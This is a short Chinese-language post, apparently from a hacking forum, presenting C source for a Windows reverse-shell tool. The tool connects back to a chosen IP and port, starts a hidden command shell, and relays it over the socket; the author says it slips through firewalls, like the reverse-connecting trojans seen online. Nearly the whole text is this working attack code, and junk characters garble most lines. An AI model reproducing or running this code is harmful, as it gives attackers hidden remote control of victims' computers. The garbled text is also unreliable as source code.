这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 K/iFB
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/* ============================== \wV^uS
Rebound port in Windows NT O=[Q>\p
By wind,2006/7 N_^PoX935O
===============================*/ u{- @,-{
#include q4#$ca[_ak
#include 5rb<u>e{
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#pragma comment(lib,"wsock32.lib") %*zV&H
r.q*S4IS.m
void OutputShell(); Qz"+M+~%&
SOCKET sClient; 3D-0
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; w/z o
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void main(int argc,char **argv) 8NkyT_\
{ dl.gCiI
WSADATA stWsaData; Cag^$nj
int nRet; w}]BJ<C
SOCKADDR_IN stSaiClient,stSaiServer; 0QP=$X
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if(argc != 3) ?edf$-"z/
{ p*j>s\
printf("Useage:\n\rRebound DestIP DestPort\n"); 0q4PhxR`e
return; 0q28Ulv9
} *sQ.y
{
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WSAStartup(MAKEWORD(2,2),&stWsaData); P{LS +.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *knN?`(x
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stSaiClient.sin_family = AF_INET; kQ]4Bo
stSaiClient.sin_port = htons(0); #<~oR5ddlb
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); L+mE&
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &OlX CxH
{ We++DWp
printf("Bind Socket Failed!\n"); 1N_T/I8_F
return; O{7rIy
}
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stSaiServer.sin_family = AF_INET; e*}*3kw)T
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Sp6==(:.
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .]H/u
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h3bQ<?m
{ 7H*,HZc@=
printf("Connect Error!"); Q;N)$Xx
return; /6rQ.+|).
} h<V,0sZ&:
OutputShell(); o|u4C {j
} G1-r$7\
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void OutputShell() Oq$-*N
{ 6.9C4
char szBuff[1024]; d~MY
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SECURITY_ATTRIBUTES stSecurityAttributes; |"PS e~ u
OSVERSIONINFO stOsversionInfo; GSs?!BIC
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V?Q45t Ae
STARTUPINFO stStartupInfo; 3ZC@q
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char *szShell; ,Ne9x\F
PROCESS_INFORMATION stProcessInformation; (t){o>l
unsigned long lBytesRead; # >I_
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); nrA 4N1
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); dWi<U4
stSecurityAttributes.lpSecurityDescriptor = 0; Ml9m#c
stSecurityAttributes.bInheritHandle = TRUE; kL8E#
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >0[:uu,'>
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r@zs4N0WP
w2!:>8o:
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Qn|8Ic` *
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H0 Zo.Np
stStartupInfo.wShowWindow = SW_HIDE; bHcBjk.\
stStartupInfo.hStdInput = hReadPipe; FGPqF;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; H5#]MOAP
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GetVersionEx(&stOsversionInfo); \D k >dE&I
;
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switch(stOsversionInfo.dwPlatformId) l]~9BPsR
{ Z"'*A\r2
case 1: r`"T{o\e
szShell = "command.com"; ~ o2Z5,H
break; gG@4MXq.
default: ?w!8;xS8
szShell = "cmd.exe"; ~NPhVlT
break; 6`iYIXnz
} *zN~x(0{E
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); WUjRnzVM
2@?X>,
send(sClient,szMsg,77,0); (,t[`z
while(1) tBfmjxv
{ "g)bNgGV}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ',!jYh}Uxk
if(lBytesRead) OiXO<1'$
{ .gGO+8[N*
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 7QnWw0
send(sClient,szBuff,lBytesRead,0); mA$86 X_
} 1=5HQ~|[TO
else Z9NND
{ 3bXfR,U
lBytesRead=recv(sClient,szBuff,1024,0); 7.Z-
if(lBytesRead<=0) break; h)fsLzn]Tf
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); x#&_/oqAk
} jjQDw=6
} z. X
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return; oK-d58 sM
}